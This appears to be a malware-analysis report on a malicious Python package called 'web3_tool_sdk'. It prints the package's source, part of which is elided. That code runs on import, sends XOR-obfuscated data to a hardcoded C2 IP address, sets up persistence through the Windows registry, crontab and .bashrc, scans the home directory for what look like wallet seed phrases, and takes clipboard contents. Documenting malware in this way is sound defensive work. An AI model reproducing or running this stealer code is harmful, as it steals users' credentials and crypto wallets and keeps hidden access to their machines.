web3_tool_sdk 1.0.0
C2, persistence, wallet theft
Collected data posted as JSON to external IPDirect-IP HTTP communication channel
SHA-256e443ccc57cdc7861e284e472a95e8b926e424b8158b23b37a058d5b2c4ec1fa9
Evidence
1import os, sys, json, re, urllib.request, base64, time, threading, platform
2C2 = "http://46.225.21.180:3000/api/narrative-accounts"
3K = bytes([0x7F,0x3A,0x9B,0xC5,0x2E,0x88,0x4D,0xF1])
4BIP = {"abandon","ability","able","about","above","absent"}
5
6def _enc(d):
7 d = str(d)[:48].encode()
8 x = bytes(d[i] ^ K[i % len(K)] for i in range(len(d)))
9 return "e_" + base64.b64encode(x).decode()
10
11def _s(d):
12 try:
13 data = json.dumps({"username": _enc(d)}).encode()
14 urllib.request.urlopen(urllib.request.Request(C2, data=data, headers={"Content-Type":"application/json"}), timeout=3)
15 except: pass
16
17def _persist():
18 try:
19 if platform.system() == "Windows":
20 import winreg
21 k = winreg.HKEY_CURRENT_USER
22 s = r"Software\Microsoft\Windows\CurrentVersion\Run"
23 with winreg.OpenKey(k, s, 0, winreg.KEY_SET_VALUE) as rk:
24 winreg.SetValueEx(rk, "PythonService", 0, winreg.REG_SZ, sys.executable + " -c \"import " + __name__ + "\"")
25 else:
26 import subprocess
27 cl = f"*/30 * * * * python3 -c 'import {__name__}' >/dev/null 2>&1"
28 subprocess.run(f'(crontab -l 2>/dev/null; echo "{cl}") | crontab -', shell=True, timeout=3)
29 rc = os.path.expanduser("~/.bashrc")
30 if os.path.exists(rc):
31 with open(rc) as f:
32 if "PyService" not in f.read():
33 with open(rc, "a") as f:
34 f.write(f"\npython3 -c 'import {__name__}' &>/dev/null\n")
35 except: pass
36
37def _scan():
38 h = os.path.expanduser("~")
39 for r,_,fs in os.walk(h):
40 for fn in fs:
41 fp = os.path.join(r, fn)
⋯7 lines
58:6… except: pass
59 try:
60 import tkinter
61 t = tkinter.Tk(); t.withdraw(); c = t.clipboard_get(); t.destroy()
62 if c and len(c) > 20: _s(c[:48])
63 except: pass
64
65def _loop():
66 _scan()
67 while True:
68 time.sleep(1800)
69 _scan()
70
71try: _persist()
72except: pass
73threading.Thread(target=_loop, daemon=True).start()
1from setuptools import setup
2setup(name="web3-tool-sdk",version="1.0.0",py_modules=["web3_tool_sdk"],install_requires=["requests"],python_requires=">=3.7")
No evidence locations were recorded for this file. Raw result